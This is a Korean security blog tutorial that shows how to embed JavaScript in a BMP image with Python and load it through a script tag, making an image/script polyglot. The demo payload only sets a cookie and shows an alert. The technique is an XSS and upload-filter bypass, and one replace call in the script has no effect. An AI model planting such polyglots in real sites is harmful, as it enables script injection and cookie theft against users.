2016. 3. 25. 15:24
:: 애플리케이션 보안
안녕하세요~ Message 입니다.
파이썬은 파일을 다루는 기능을 제공합니다.
바이너리 파일을 열어서 내용을 변경하거나 추가할 수 있습니다.
아래 내용은 비트맵 파일에 자바 스크립트를 삽입해서 쿠키를 저장하고 다시 읽어들이는 프로그램입니다.
1) 삽입할 .js 스크립트
이미지 안에 삽입할 .js 파일 입니다.
임의의 cookie 값을 넣고, alert() 함수를 이용해 경고창을 띄웁니다.
1
2
3
4
5
6 |
name = 'id';
value = 'RedScreen';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7);
document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + "";
alert(document.cookie) |
cs |
2) 스크립트 삽입 프로그램
파일의 내용을 주석처리 한뒤, 위에 작성한 .js 파일을 삽입합니다.
주석처리 했지만, 브라우저는 매직넘버만 확인하면 일부 손상에도 불구하고
비트맵 파일을 정상적으로 읽습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 |
# -*- coding: utf-8 -*-
fname = "hello.bmp"
""" hello.bmp 파일을 이진 파일 전용 읽기 모드(r+b)로 연다."""
pfile = open(fname, "r+b")
buff = pfile.read()
""" 스크립트 실행 중 오류를 발생시킬 수 있는 2A(*)과 2F(/) 문자는 공백으로 치환한다 """
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()
""" hello.bmp 파일을 이진 파일 쓰기 전용 모드로 열고 buff 변수에 저장된 내용을 기록한다."""
pfile = open(fname, "w+b")
pfile.write(buff)
""" 파일 읽기 커서를 시작 기준으로 2바이트 뒤로 이동 시킨다 """
pfile.seek(2,0)
""" 비트맵 파일을 식별하기 위해 사용되는 매직넘버 뒤에 주석문의 시작을 의미하는 /*을 삽입한다."""
""" 브라우저는 매직넘버만 인식하면 나머지 데이터에 일부 손상이 발생해도 비트맵 파일을 정상적으로 읽는다."""
pfile.write(b'\x2F\x2A')
pfile.close()
""" hello.bmp 파일을 이진 파일 추가 전용 모드로 연다. """
pfile = open(fname, "a+b")
""" 주석문 삽입의 끝을 의미하는 */을 삽입한다 """
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('hello.js','rb').read())
pfile.close() |
cs |
3) 실행결과
왼쪽은 스크립트를 실행하기 전이고, 오른쪽은 .js파일이 삽입된 이후입니다.
4) 비트맵 실행 HTML
이미지를 띄움과 동시에, 이미지를 실행시키는 간단한 HTML 스크립트입니다.
IE로 실행시킨 결과, 실제로 alert() 함수가 작동함을 알 수 있습니다.
1
2 |
<img src="hello.bmp"/>
<script src="hello.bmp"></script> |
cs |
참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음
':: 애플리케이션 보안' 카테고리의 다른 글
Red_Message :: [Python] pydbg 모듈을 활용한 API 후킹 (1) | 2016.03.24 |
---|---|
Red_Message :: [Python] ctypes 활용한 메시지 후킹 (0) | 2016.03.22 |